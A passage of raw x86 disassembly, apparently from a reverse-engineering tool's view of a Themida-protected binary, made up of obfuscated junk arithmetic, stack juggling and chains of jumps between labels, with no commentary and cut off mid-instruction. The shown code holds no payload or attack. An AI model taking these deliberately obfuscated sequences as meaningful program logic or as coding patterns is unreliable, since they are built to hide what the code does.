; CODE XREF: Themida_:00598E79j add esp, 4 xor dl, 0ACh jmp loc_59A28D ; --------------------------------------------------------------------------- loc_5AC0C9: ; CODE XREF: Themida_:0059BE4Aj add edi, 6B776DF9h add ebp, edi pop edi jmp loc_5AE2ED ; --------------------------------------------------------------------------- loc_5AC0D7: ; CODE XREF: Themida_:00598D53j mov [esp], ecx mov ecx, esp push edi mov edi, 4 jmp loc_59945F ; --------------------------------------------------------------------------- loc_5AC0E7: ; CODE XREF: Themida_:0059B0D0j sub esi, 69207AA1h xor ebx, esi jmp loc_5A1040 ; --------------------------------------------------------------------------- loc_5AC0F4: ; CODE XREF: Themida_:005998A5j shl ah, 7 jmp loc_5A6D4B ; --------------------------------------------------------------------------- loc_5AC0FC: ; CODE XREF: Themida_:005A5EFAj sub bl, dh add bl, 0F3h jmp loc_5A99F9 ; --------------------------------------------------------------------------- loc_5AC106: ; CODE XREF: Themida_:0059BA1Aj mov ecx, esp add ecx, 4 add ecx, 4 push ecx jmp loc_59BB1F ; --------------------------------------------------------------------------- loc_5AC117: ; CODE XREF: Themida_:005ACF30j xchg edi, [esp] mov esp, [esp] mov [esp], ebp jmp loc_5A3879 ; --------------------------------------------------------------------------- loc_5AC125: ; CODE XREF: Themida_:005A2675j or esi, 1F694CE8h shl esi, 6 add esi, 194E3439h sub ecx, esi pop esi jmp loc_5AD310 ; --------------------------------------------------------------------------- loc_5AC13C: ; CODE XREF: Themida_:005AA00Fj mov edx, 71376302h dec edx shr edx, 2 inc edx jmp loc_5AEA9E ; --------------------------------------------------------------------------- loc_5AC14B: ; CODE XREF: Themida_:loc_5A3F60j xor eax, 384D5E7Eh mov ecx, eax pop eax push edi mov edi, 29554CB9h add edi, 0FFFFFFFFh shr edi, 7 shl edi, 1 sub edi, 0A378561Eh add ecx, edi pop edi jmp loc_5A070E ; --------------------------------------------------------------------------- loc_5AC16F: ; CODE XREF: Themida_:005ADC2Aj pop esi xchg eax, [esp] mov esp, [esp] pop ebp push ecx push edx mov edx, esp jmp loc_59F6D5 ; --------------------------------------------------------------------------- loc_5AC180: ; CODE XREF: Themida_:005AA3D3j push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] pop esp push eax jmp loc_5A6B85 ; --------------------------------------------------------------------------- loc_5AC195: ; CODE XREF: Themida_:0059AB16j inc esi sub esi, 0E004D94Ah add edi, esi pop esi push dword ptr [esp] pop ebp add esp, 4 add edi, 4 jmp loc_59FB43 ; --------------------------------------------------------------------------- loc_5AC1B1: ; CODE XREF: Themida_:00598906j ; Themida_:0059BF2Dj mov edx, 0CC392AB7h add ebp, edx pop edx xor ebx, ebp pop ebp push ebx jmp loc_5AC61C ; --------------------------------------------------------------------------- loc_5AC1C2: ; CODE XREF: Themida_:005ACFB5j sub esi, 9D93421h jmp loc_5AA775 ; --------------------------------------------------------------------------- loc_5AC1CD: ; CODE XREF: Themida_:0059A3AAj inc ebp sub ebp, 0A64CA938h xor edx, ebp pop ebp add ebp, edx mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], ecx push 4 mov ecx, [esp] push ecx jmp loc_5AEFAF ; --------------------------------------------------------------------------- loc_5AC1F3: ; CODE XREF: Themida_:005ACA98j push 460D33D0h jmp loc_5AD411 ; --------------------------------------------------------------------------- loc_5AC1FD: ; CODE XREF: Themida_:005A1C2Fj shl ebp, 2 inc ebp shl ebp, 2 jmp loc_5A4D27 ; --------------------------------------------------------------------------- loc_5AC209: ; CODE XREF: Themida_:0059CF95j pop esp mov [esp], edi push ecx pop edi mov ecx, [esp] push eax mov eax, esp jmp loc_5A0FF4 ; --------------------------------------------------------------------------- loc_5AC21A: ; CODE XREF: Themida_:005A7057j pop edi xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov [esp], edx push eax pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AC22F: ; CODE XREF: Themida_:005A0C53j push eax mov eax, esp add eax, 4 push ecx push 3D7A12C3h jmp loc_5A6151 ; --------------------------------------------------------------------------- loc_5AC242: ; CODE XREF: Themida_:005A5E0Ej jmp loc_5AD92A ; --------------------------------------------------------------------------- loc_5AC247: ; CODE XREF: Themida_:0059C0F1j push dword ptr [esp+4] jmp loc_5A5170 ; --------------------------------------------------------------------------- loc_5AC250: ; CODE XREF: Themida_:005AF136j push eax push 371F187Fh mov eax, [esp] add esp, 4 sub eax, 7F25F78h jg loc_5AAF7D jmp loc_5AEAF5 ; --------------------------------------------------------------------------- pop eax jmp loc_59B25D ; --------------------------------------------------------------------------- mov cl, ah loc_5AC277: ; CODE XREF: Themida_:0059B09Aj pop eax xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp jmp loc_5AF1FD ; --------------------------------------------------------------------------- loc_5AC287: ; CODE XREF: Themida_:005A10E6j push edx mov edx, 2EA5344Bh push edx not dword ptr [esp] pop edx sub edx, 0FFFFFFFFh add edx, 72D7CE8h push ebx jmp loc_59F541 ; --------------------------------------------------------------------------- loc_5AC2A4: ; CODE XREF: Themida_:0059EE65j jnp loc_5AC66C jmp loc_5A0A05 ; --------------------------------------------------------------------------- loc_5AC2AF: ; CODE XREF: Themida_:0059A888j ; Themida_:005ACF96j pop ecx jmp loc_5ADB6C ; --------------------------------------------------------------------------- loc_5AC2B5: ; CODE XREF: Themida_:00599EA6j and eax, ebp push dword ptr [esp] pop ebp push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx mov ecx, esp add ecx, 4 sub esp, 4 jmp loc_5A4241 ; --------------------------------------------------------------------------- loc_5AC2E2: ; CODE XREF: Themida_:005A6CE9j sub ebx, ecx pop ecx pop esi jmp loc_59AF6A ; --------------------------------------------------------------------------- loc_5AC2EB: ; CODE XREF: Themida_:005AF070j popa jmp loc_5A27C8 ; --------------------------------------------------------------------------- loc_5AC2F1: ; CODE XREF: Themida_:0059983Aj mov [esp], ebp jmp loc_5A59F1 ; --------------------------------------------------------------------------- loc_5AC2F9: ; CODE XREF: Themida_:005A3A9Dj push edx mov dl, 27h xor dl, 0CDh push ecx jmp loc_5A6459 ; --------------------------------------------------------------------------- loc_5AC305: ; CODE XREF: Themida_:0059D53Dj jnp loc_5A464E add edi, 8B3F063Ah mov ebx, edi pop edi sub ebx, 0DE47EF5Ch jmp loc_59B5CD ; --------------------------------------------------------------------------- loc_5AC31F: ; CODE XREF: Themida_:0059B661j inc eax not eax jmp loc_59B08B ; --------------------------------------------------------------------------- loc_5AC327: ; CODE XREF: Themida_:0059BB48j xor edx, 50F478D0h jge loc_5AB394 jmp loc_5A2E06 ; --------------------------------------------------------------------------- push bx mov bh, 53h or al, 2Ch loc_5AC33E: ; CODE XREF: Themida_:005A7587j xor edi, 20763594h sub edi, 0C024417h sub ebp, edi mov edi, [esp] jmp loc_59A587 ; --------------------------------------------------------------------------- loc_5AC354: ; CODE XREF: Themida_:0059D10Bj mov [esp], ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], eax mov eax, 380A7D07h push ebx mov ebx, 58127DB7h xor eax, ebx mov ebx, [esp] jmp loc_5A5E9D ; --------------------------------------------------------------------------- loc_5AC380: ; CODE XREF: Themida_:005A217Fj add esp, 4 sub esp, 4 mov [esp], ebx mov ebx, esi push ebx xor dword ptr [esp], 7C707050h pop eax xor eax, 7C707050h mov ebx, [esp] jmp loc_5AA286 ; --------------------------------------------------------------------------- loc_5AC3A4: ; CODE XREF: Themida_:005A00B5j add ecx, edi add ecx, 59FF4778h sub ecx, 1511053Dh push edx push ebp mov ebp, 1F550FCBh jmp loc_5A4DCB ; --------------------------------------------------------------------------- loc_5AC3BE: ; CODE XREF: Themida_:005AD367j add esp, 4 xchg edx, esi jmp loc_5A740F ; --------------------------------------------------------------------------- loc_5AC3C8: ; CODE XREF: Themida_:005ADCE0j pop ecx sub esp, 4 mov [esp], ebx push edx mov dh, ah mov bl, dh jmp loc_599DC3 ; --------------------------------------------------------------------------- loc_5AC3DC: ; CODE XREF: Themida_:005AB1A2j shl edi, 2 jmp loc_5A97F8 ; --------------------------------------------------------------------------- loc_5AC3E4: ; CODE XREF: Themida_:005A7A48j add ebx, 4 jmp loc_5A1745 ; --------------------------------------------------------------------------- push eax mov eax, 4 add [esp+4], eax pop eax pop esi add esi, 4 push 491h mov [esp], eax jmp loc_599F29 ; --------------------------------------------------------------------------- lodsb xor al, bl push 65A5h jmp loc_5A2DDB ; --------------------------------------------------------------------------- loc_5AC41B: ; CODE XREF: Themida_:0059F9A6j add dword ptr [esp], 11700B53h sub [esp], eax sub dword ptr [esp], 11700B53h pop eax sub eax, 54DBB17Ah add ebx, eax pop eax mov edi, [esp] add esp, 4 push 1ABFh mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] ror word ptr [esp], cl pushf jmp loc_59A88D ; --------------------------------------------------------------------------- loc_5AC45B: ; CODE XREF: Themida_:005A0FEFj movzx cx, al push cx pushf jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AC467: ; CODE XREF: Themida_:005A4319j pop edx jmp loc_59C73C ; --------------------------------------------------------------------------- lodsd xor eax, ebx push 3662h mov [esp], edx mov edx, 2AA34E7Bh shl edx, 7 jnp loc_59E665 jmp loc_5A4C1C ; --------------------------------------------------------------------------- xor [esp], ecx xor ecx, [esp] pop esp pop ebp loc_5AC493: ; CODE XREF: Themida_:005AC84Aj xor ebx, [esp] mov esp, [esp] jmp loc_5A6307 ; --------------------------------------------------------------------------- loc_5AC49E: ; CODE XREF: Themida_:005A0622j pop ebp add esp, 4 shl eax, cl jmp loc_59880D ; --------------------------------------------------------------------------- loc_5AC4AC: ; CODE XREF: Themida_:0059C84Bj mov [esp], ecx push ebx mov ebx, 1CF4542Eh mov ecx, 61B141DAh not ecx dec ecx jnz loc_5AEF71 and ecx, 4355281Dh jp loc_5AAC15 shr ecx, 4 loc_5AC4D2: ; CODE XREF: Themida_:005A3865j add ebx, eax sub esp, 4 mov [esp], ebp mov ebp, 54A66399h sub ebx, ebp pop ebp pop eax push eax jmp loc_59ECDC ; --------------------------------------------------------------------------- loc_5AC4EC: ; CODE XREF: Themida_:0059F891j pop ebx jmp loc_5AB56C ; --------------------------------------------------------------------------- loc_5AC4F2: ; CODE XREF: Themida_:005AD1DBj sub ebx, ecx pop ecx xchg ebx, [esp] pop esp mov [esp], ebx push ecx mov ecx, 2D546D90h push esi mov esi, 47A17FB7h sub esi, 7F3312AFh ja loc_5A0C9F sub esi, 8E85FFE9h mov ebx, esi pop esi jmp loc_5A8001 ; --------------------------------------------------------------------------- loc_5AC522: ; CODE XREF: Themida_:005A1EBFj mov [esp], edi push ebx mov ebx, 4 jmp loc_5A3A78 ; --------------------------------------------------------------------------- loc_5AC530: ; CODE XREF: Themida_:00598BC0j dec ah not ah sub ah, 0DFh jmp loc_5A7E80 ; --------------------------------------------------------------------------- loc_5AC53C: ; CODE XREF: Themida_:005A58FDj xchg eax, [esp] pop esp push 3EA7h mov [esp], ebx mov ebx, 17564F4Ch push ebp mov ebp, 4540E38h sub ebp, 52B3616Dh not ebp sub ebp, 49921A6Ah sub eax, ebp jmp loc_59F03B ; --------------------------------------------------------------------------- loc_5AC568: ; CODE XREF: Themida_:005AEDEBj xchg edx, [esp] pop esp xor al, dh pop edx push ecx mov cl, 2Eh add cl, 0FFh sub bl, cl pop ecx push ecx push eax push ecx mov cl, 62h mov al, cl pop ecx sub esp, 4 jmp loc_5A3BAD ; --------------------------------------------------------------------------- loc_5AC588: ; CODE XREF: Themida_:0059B3F1j ; Themida_:0059DF53j mov [esp], ax push 375Ah mov [esp], edx mov dh, 73h sub dh, 0FFh xor dh, 62h jmp loc_59A5B2 ; --------------------------------------------------------------------------- loc_5AC5A1: ; CODE XREF: Themida_:005ACE82j sub edx, 4 xchg edx, [esp] pop esp jmp loc_5994D5 ; --------------------------------------------------------------------------- loc_5AC5AD: ; CODE XREF: Themida_:005AA70Aj mov eax, [esp] add esp, 4 add ebx, 3CC5561h add ebx, esi sub ebx, 3CC5561h mov esi, [esp] add esp, 4 sub ebx, 4 jmp loc_5A7FE8 ; --------------------------------------------------------------------------- loc_5AC5D2: ; CODE XREF: Themida_:loc_5A524Dj jmp loc_5A93F7 ; --------------------------------------------------------------------------- loc_5AC5D7: ; CODE XREF: Themida_:0059CEBCj mov esi, [esp] add esp, 4 push dword ptr [esp] pop edx jmp loc_598FE4 ; --------------------------------------------------------------------------- loc_5AC5E6: ; CODE XREF: Themida_:005AD08Aj xor ebx, eax push dword ptr [eax] jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AC5EF: ; CODE XREF: Themida_:005ACCD0j sub eax, 6B9E7975h mov edi, [esp] add esp, 4 jmp loc_5AB190 ; --------------------------------------------------------------------------- loc_5AC602: ; CODE XREF: Themida_:005A622Fj mov [esp], edx push esp jmp loc_5A5D8D ; --------------------------------------------------------------------------- loc_5AC60B: ; CODE XREF: Themida_:0059C0B6j ; Themida_:loc_5A6347j sub esi, ebx push dword ptr [esp] pop ebx add esp, 4 jmp loc_59E90C ; --------------------------------------------------------------------------- loc_5AC61C: ; CODE XREF: Themida_:005AC1BDj pop ebp jmp loc_5A018F ; --------------------------------------------------------------------------- loc_5AC622: ; CODE XREF: Themida_:005A4C17j mov eax, [esp] push ebx push 1D0Dh mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 add ebx, 4 add ebx, 4 jmp loc_5AE5C6 ; --------------------------------------------------------------------------- loc_5AC64C: ; CODE XREF: Themida_:005A67EAj mov bl, al pop eax pop edx sub al, bl pop ebx add al, 0A5h pop ecx jmp loc_59E222 ; --------------------------------------------------------------------------- loc_5AC65B: ; CODE XREF: Themida_:0059CCF3j mov eax, 4 jmp loc_5AE348 ; --------------------------------------------------------------------------- loc_5AC665: ; CODE XREF: Themida_:00599F67j add edx, ebx jmp loc_5A9F24 ; --------------------------------------------------------------------------- loc_5AC66C: ; CODE XREF: Themida_:loc_5AC2A4j pop dword ptr [edi+40h] jmp loc_5A498C ; --------------------------------------------------------------------------- loc_5AC674: ; CODE XREF: Themida_:005A5C9Bj ; Themida_:005A7EBDj pop edx jmp loc_5AEAFD ; --------------------------------------------------------------------------- loc_5AC67A: ; CODE XREF: Themida_:005996C9j shl ecx, 2 jz loc_59D8F3 sub ecx, 0D4623DDDh or ecx, 3326565Ah jmp loc_5A47D0 ; --------------------------------------------------------------------------- loc_5AC694: ; CODE XREF: Themida_:005A9542j pop dword ptr [esp] pop esp push 3E60h jmp loc_5A1B8A ; --------------------------------------------------------------------------- loc_5AC6A2: ; CODE XREF: Themida_:0059DBC4j add ebx, edx jmp loc_5AAC09 ; --------------------------------------------------------------------------- loc_5AC6A9: ; CODE XREF: Themida_:00599B45j ; Themida_:0059A278j xor edi, 66312EFh push 2191h mov [esp], eax mov eax, 414040E5h neg eax push ebp mov ebp, 25B85600h add ebp, 44096E98h push ebx jmp loc_5A030F ; --------------------------------------------------------------------------- loc_5AC6D0: ; CODE XREF: Themida_:005A715Fj xor al, 89h jnp loc_59F1BE jmp loc_5AE68C ; --------------------------------------------------------------------------- mov [esp], ebx jmp loc_59BC2A ; --------------------------------------------------------------------------- loc_5AC6E5: ; CODE XREF: Themida_:00598E8Bj push esi mov esi, 7F014AB4h sub ebx, esi jmp loc_5A8B6C ; --------------------------------------------------------------------------- loc_5AC6F2: ; CODE XREF: Themida_:005ACF9Cj push esi mov esi, 20F623E6h add [esp+4], esi pop esi pop ebp sub ebp, 20F623E6h pop eax push ecx mov ecx, 0DE5FF141h jmp loc_5AC988 ; --------------------------------------------------------------------------- loc_5AC710: ; CODE XREF: Themida_:005A91C9j pop ecx sub ecx, 28C04673h jz loc_5A41AB shl ecx, 6 jmp loc_5A9453 ; --------------------------------------------------------------------------- loc_5AC725: ; CODE XREF: Themida_:005A06C6j add esp, 4 pop dword ptr [esp] mov esp, [esp] inc byte ptr [esp] pushf jmp loc_59F589 ; --------------------------------------------------------------------------- loc_5AC737: ; CODE XREF: Themida_:005986AFj xor edx, 0A9910682h push eax mov eax, 0FD02028h add eax, 21B67230h push edx mov edx, 3ADF663Dh add edx, 6C751A1Eh jmp loc_5A55A5 ; --------------------------------------------------------------------------- loc_5AC759: ; CODE XREF: Themida_:005A8B15j pop esp jmp loc_5A24B6 ; --------------------------------------------------------------------------- push dword ptr fs:[edx] jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AC767: ; CODE XREF: Themida_:005AA096j mov ebx, ebp pop ebp pop edx push 41EAh mov [esp], ecx mov ecx, 12884444h jmp loc_59ECA4 ; --------------------------------------------------------------------------- loc_5AC77D: ; CODE XREF: Themida_:005A1E37j xor ecx, ebx push ebx mov ebx, esp add ebx, 4 jmp loc_59CF8C ; --------------------------------------------------------------------------- loc_5AC78D: ; CODE XREF: Themida_:005996B9j mov edx, [esp] add esp, 4 push dword ptr [esp] pop esi push 76EFh mov [esp], esi mov esi, esp jmp loc_5AAC5F ; --------------------------------------------------------------------------- loc_5AC7A9: ; CODE XREF: Themida_:0059E017j jle loc_598601 xor ch, 2Bh mov dl, ch pop ecx shl dl, 3 sub dl, 0A2h sub al, dl pop edx add al, 87h add al, 0F0h add al, dl sub al, 0F0h sub al, 87h add al, 0AEh jmp loc_5A2D53 ; --------------------------------------------------------------------------- loc_5AC7CF: ; CODE XREF: Themida_:005A1F99j ; Themida_:005A7AC2j mov [esp], ecx push esi jmp loc_59EF7F ; --------------------------------------------------------------------------- loc_5AC7D8: ; CODE XREF: Themida_:005A9A0Cj ; Themida_:005ADCD3j mov ecx, 74734377h xor ecx, ebx mov ebx, [esp] add esp, 4 xor edi, ecx mov ecx, [esp] add esp, 4 add esi, 25AE10B4h jmp loc_59CFDE ; --------------------------------------------------------------------------- loc_5AC7FB: ; CODE XREF: Themida_:0059D473j jns loc_59F1B9 jmp loc_5A50B4 ; --------------------------------------------------------------------------- jmp loc_59EA4C ; --------------------------------------------------------------------------- mov [esp], ebx pop esp pop dword ptr [edx] jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AC816: ; CODE XREF: Themida_:0059BC73j mov [esp], esi mov esi, esp add esi, 4 add esi, 4 jmp loc_5AA0A4 ; --------------------------------------------------------------------------- loc_5AC82C: ; CODE XREF: Themida_:005A3C31j xchg edi, [esp] jmp loc_59AEC2 ; --------------------------------------------------------------------------- loc_5AC834: ; CODE XREF: Themida_:005AAB08j mov edi, ebp pop ebp add ecx, edi pop edi xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp xor ebx, [esp] xor [esp], ebx jmp loc_5AC493 ; --------------------------------------------------------------------------- loc_5AC84F: ; CODE XREF: Themida_:loc_59C79Cj push esi not dword ptr [esp] pop esi jmp loc_59DBA3 ; --------------------------------------------------------------------------- loc_5AC859: ; CODE XREF: Themida_:005A205Aj sub esp, 4 jmp loc_5A4042 ; --------------------------------------------------------------------------- loc_5AC861: ; CODE XREF: Themida_:005AB972j xor edx, 64A41935h add edx, 29DB4273h not edx xor edx, 0AAB67C80h push eax mov eax, 625221D3h xor eax, 66475951h add edx, 2CB11D3Bh jmp loc_5A9B55 ; --------------------------------------------------------------------------- loc_5AC88B: ; CODE XREF: Themida_:005A6D34j push 8F8h mov [esp], edx jmp loc_5ABDBE ; --------------------------------------------------------------------------- loc_5AC898: ; CODE XREF: Themida_:005AB65Aj mov dh, 0B5h push ebx mov bh, dh mov cl, bh pop ebx push dword ptr [esp] pop edx jmp loc_5AEA63 ; --------------------------------------------------------------------------- loc_5AC8A9: ; CODE XREF: Themida_:0059CFC9j sub al, bh pop bx push small 6A86h mov [esp], bx mov bh, 0D1h jmp loc_59F4A0 ; --------------------------------------------------------------------------- loc_5AC8BC: ; CODE XREF: Themida_:005AD998j or eax, 79276846h jb loc_5A4EE9 jmp loc_5A8EB4 ; --------------------------------------------------------------------------- loc_5AC8CC: ; CODE XREF: Themida_:005A3B28j push 0B0Ch mov [esp], edx push ebp push 55DA1FEEh jmp loc_59DEE9 ; --------------------------------------------------------------------------- loc_5AC8DF: ; CODE XREF: Themida_:005AC06Fj sub ebx, 7907738Ch jmp loc_5AABE8 ; --------------------------------------------------------------------------- loc_5AC8EA: ; CODE XREF: Themida_:005A3122j push ebx push edx mov dh, 3 jmp loc_5A402F ; --------------------------------------------------------------------------- loc_5AC8F3: ; CODE XREF: Themida_:005A1410j jnz loc_59B160 sub al, 0E0h sub bl, al pop ax push dword ptr [esp] mov esi, esi loc_5AC904: ; CODE XREF: Themida_:005A9466j sub ebx, edx pop edx xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov [esp], edx push esi push 5AF02E9h pop esi sub esi, 0D420DF8Fh jmp loc_5A6C89 ; --------------------------------------------------------------------------- loc_5AC926: ; CODE XREF: Themida_:005A1994j push esp pop ebx push esi mov esi, 4 add ebx, esi jmp loc_5A269A ; --------------------------------------------------------------------------- loc_5AC935: ; CODE XREF: Themida_:005A4846j mov ecx, 4 sub esi, 70DF078Ch jmp loc_59EE2C ; --------------------------------------------------------------------------- loc_5AC945: ; CODE XREF: Themida_:0059BE2Bj jmp loc_5AA941 ; --------------------------------------------------------------------------- loc_5AC94A: ; CODE XREF: Themida_:loc_5A0256j ; Themida_:005AEFC3j mov [esp], edi push dword ptr [esp+4] push dword ptr [esp] pop edi add esp, 4 pop dword ptr [esp] pop esp jmp loc_5A138F ; --------------------------------------------------------------------------- loc_5AC961: ; CODE XREF: Themida_:0059D986j ; Themida_:0059FC09j push ecx mov ecx, 7DDE7365h jmp loc_5A5F18 ; --------------------------------------------------------------------------- loc_5AC96C: ; CODE XREF: Themida_:0059CA11j jmp loc_59838C ; --------------------------------------------------------------------------- loc_5AC971: ; CODE XREF: Themida_:0059FB7Ej mov ecx, eax pop eax add ecx, 59C94DA2h add ecx, eax push ebx mov ebx, 59C94DA2h push ebx jmp loc_5A6EF7 ; --------------------------------------------------------------------------- loc_5AC988: ; CODE XREF: Themida_:005AC70Bj add ebp, 24736628h add ebp, ecx sub ebp, 24736628h pop ecx or ecx, ebp pop ebp xor ecx, 1F5B7FFFh and eax, ecx push dword ptr [esp] jmp loc_5AF36A ; --------------------------------------------------------------------------- loc_5AC9AA: ; CODE XREF: Themida_:0059DA69j mov [esp], eax push edx mov edx, 338456C6h mov eax, 393C21D9h xor eax, 23545F61h neg eax jmp loc_59BE30 ; --------------------------------------------------------------------------- loc_5AC9C4: ; CODE XREF: Themida_:005AF514j dec ebx push esi mov esi, 77F73141h add ebx, esi pop esi jmp loc_59D871 ; --------------------------------------------------------------------------- loc_5AC9D3: ; CODE XREF: Themida_:005A01B5j push 519869EDh mov ebp, [esp] add esp, 4 sub dword ptr [esp+8], 51512EABh add [esp+8], ebp add dword ptr [esp+8], 51512EABh pop ebp pop ebp push dword ptr [esp] jmp loc_59902D ; --------------------------------------------------------------------------- loc_5AC9FC: ; CODE XREF: Themida_:005A762Aj mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] jmp loc_5AD62D ; --------------------------------------------------------------------------- loc_5ACA14: ; CODE XREF: Themida_:005A943Ej mov eax, 0A9E6855h jmp loc_5AA00E ; --------------------------------------------------------------------------- loc_5ACA1E: ; CODE XREF: Themida_:005ABD93j sub ebx, 1A3F044Bh pop esi jmp loc_5A072D ; --------------------------------------------------------------------------- loc_5ACA2A: ; CODE XREF: Themida_:005A2321j or eax, 55177639h xor eax, 233B7C52h jmp loc_599D72 ; --------------------------------------------------------------------------- loc_5ACA39: ; CODE XREF: Themida_:005AC059j xor ebx, 7E11CD27h sub eax, ebx mov ebx, [esp] add esp, 4 add eax, edx push ebp mov ebp, 8AB234Ch neg ebp push eax mov eax, 1437F44h shl eax, 1 sub eax, 273A6CB6h xor ebp, eax pop eax add eax, ebp pop ebp pop edx push esi jmp loc_59A404 ; --------------------------------------------------------------------------- loc_5ACA6B: ; CODE XREF: Themida_:005ADC31j add edi, 4 sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 push edx mov edx, 4 sub ecx, edx pop edx jmp loc_598C0E ; --------------------------------------------------------------------------- loc_5ACA90: ; CODE XREF: Themida_:0059E51Aj push 7168h mov [esp], ecx jmp loc_5AC1F3 ; --------------------------------------------------------------------------- loc_5ACA9D: ; CODE XREF: Themida_:005A021Aj add esp, 4 push eax mov eax, 4 add esi, 78411C12h add esi, eax sub esi, 78411C12h jmp loc_5AD645 ; --------------------------------------------------------------------------- loc_5ACABC: ; CODE XREF: Themida_:loc_59FBB2j xor ah, 6Eh jnp loc_5A07C5 add ah, 10h push edx mov dl, ah jmp loc_59CD78 ; --------------------------------------------------------------------------- loc_5ACAD0: ; CODE XREF: Themida_:005A0D5Fj mov ebx, esi jmp loc_5A108C ; --------------------------------------------------------------------------- loc_5ACAD7: ; CODE XREF: Themida_:0059FB0Ej pop ebp xor eax, edx pop edx push eax jmp loc_59FC24 ; --------------------------------------------------------------------------- loc_5ACAE1: ; CODE XREF: Themida_:005AE56Dj push dword ptr [esp] pop ecx add esp, 4 shr eax, 8 jmp loc_5A97B0 ; --------------------------------------------------------------------------- loc_5ACAF3: ; CODE XREF: Themida_:005A35D2j mov ebx, 0F864046h sub ebx, 0F3831454h mov esi, ebx mov ebx, [esp] add esp, 4 mov ebx, 148A3E85h add ebx, esi mov esi, [esp] add esp, 4 push ebp mov ebp, 5FC661BEh push esi mov esi, 0A482186h jmp loc_5A2277 ; --------------------------------------------------------------------------- loc_5ACB24: ; CODE XREF: Themida_:005AF3C6j push ecx mov cl, 5Bh mov al, cl jmp loc_59F8F1 ; --------------------------------------------------------------------------- loc_5ACB2E: ; CODE XREF: Themida_:0059DB47j sub ecx, edi pop edi xor ecx, 2D01EBEh add ecx, 18B83EFBh xor ecx, 11B19EAh push ecx push eax mov eax, 52C23160h sub [esp+4], eax pop eax pop esi add esi, 52C23160h pop ecx add [esp+4], esi pop esi jmp loc_5ABE00 ; --------------------------------------------------------------------------- loc_5ACB61: ; CODE XREF: Themida_:005A753Aj mov edx, 6FAD3EFCh shl edx, 6 jmp loc_59D97A ; --------------------------------------------------------------------------- loc_5ACB6E: ; CODE XREF: Themida_:005ACE50j push ebx push 738D4AA8h mov ebx, [esp] jmp loc_59F34D ; --------------------------------------------------------------------------- loc_5ACB7C: ; CODE XREF: Themida_:005AE0D3j pop ebp push ebp push edx jmp loc_59A837 ; --------------------------------------------------------------------------- loc_5ACB84: ; CODE XREF: Themida_:005ABD8Cj push esp mov ebx, [esp] push edi mov edi, esp push ebx mov ebx, 4E8F341Ah or ebx, 72C81B47h neg ebx shr ebx, 5 neg ebx and ebx, 419A39FAh add ebx, 0BE6DC60Ah add edi, ebx pop ebx add edi, 4 jmp loc_5AF127 ; --------------------------------------------------------------------------- loc_5ACBB8: ; CODE XREF: Themida_:00599FFCj ; Themida_:005A9B7Ej pop edx jmp loc_5A390A ; --------------------------------------------------------------------------- loc_5ACBBE: ; CODE XREF: Themida_:005A796Bj add esp, 4 add ecx, 1 xor ecx, 0CF4399D8h mov edx, ecx pop ecx jmp loc_5A9C6D ; --------------------------------------------------------------------------- loc_5ACBD5: ; CODE XREF: Themida_:0059A605j mov [esp], ecx jmp loc_5A6946 ; --------------------------------------------------------------------------- loc_5ACBDD: ; CODE XREF: Themida_:005AE64Ej push esi push ebp mov ebp, 45712B54h jmp loc_5AF22A ; --------------------------------------------------------------------------- loc_5ACBE9: ; CODE XREF: Themida_:005A1F25j sub esp, 4 mov [esp], esi mov esi, 50A66456h jmp loc_59D040 ; --------------------------------------------------------------------------- loc_5ACBFC: ; CODE XREF: Themida_:005A54EBj add ebp, 4 sub ebp, 4 jmp loc_5A01BA ; --------------------------------------------------------------------------- loc_5ACC0D: ; CODE XREF: Themida_:005A7EEFj pop ebx or ebx, 5DC9690Ah jmp loc_5A23A1 ; --------------------------------------------------------------------------- loc_5ACC19: ; CODE XREF: Themida_:0059DA52j not esi xchg esi, ebp jmp loc_5ADD37 ; --------------------------------------------------------------------------- loc_5ACC22: ; CODE XREF: Themida_:005A0180j pop esp mov [esp], edx push 751A7FA5h push dword ptr [esp] pop edx add esp, 4 dec edx js loc_5A22DC shl edx, 1 jnz loc_5ADF52 xor edx, 8B21CDFFh push ebp mov ebp, edx push esi mov esi, ebp mov eax, esi loc_5ACC52: ; CODE XREF: Themida_:005A0457j mov [esp], edi push esp jmp loc_599725 ; --------------------------------------------------------------------------- loc_5ACC5B: ; CODE XREF: Themida_:005A2A92j add al, dl push cx mov cl, 8Eh sub al, cl mov cx, [esp] add esp, 2 jmp loc_59AB7B ; --------------------------------------------------------------------------- loc_5ACC6F: ; CODE XREF: Themida_:0059BF9Ej mov esi, [esp] push eax jmp loc_5A6A86 ; --------------------------------------------------------------------------- loc_5ACC78: ; CODE XREF: Themida_:005A1F36j push esp pop ebx push edx push eax mov eax, 3CA95C35h mov edx, 3CA95C39h sub edx, eax pop eax add ebx, edx mov edx, [esp] add esp, 4 add ebx, 4 jmp loc_5A545E ; --------------------------------------------------------------------------- loc_5ACC99: ; CODE XREF: Themida_:0059B89Bj push ecx push dword ptr [esp+4] push dword ptr [esp] pop ecx push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_5A86CE ; --------------------------------------------------------------------------- loc_5ACCB9: ; CODE XREF: Themida_:0059BFA9j pop esi mov esi, [esp] add esp, 4 push eax jmp loc_59DD61 ; --------------------------------------------------------------------------- loc_5ACCC9: ; CODE XREF: Themida_:005A5F35j add eax, 6B9E7975h add eax, edi jmp loc_5AC5EF ; --------------------------------------------------------------------------- loc_5ACCD5: ; CODE XREF: Themida_:005A6613j pop eax shl eax, 1 and eax, 0C9B6F89h xor eax, 2B7472A7h neg eax xor eax, 0D18EC8A2h sub esi, 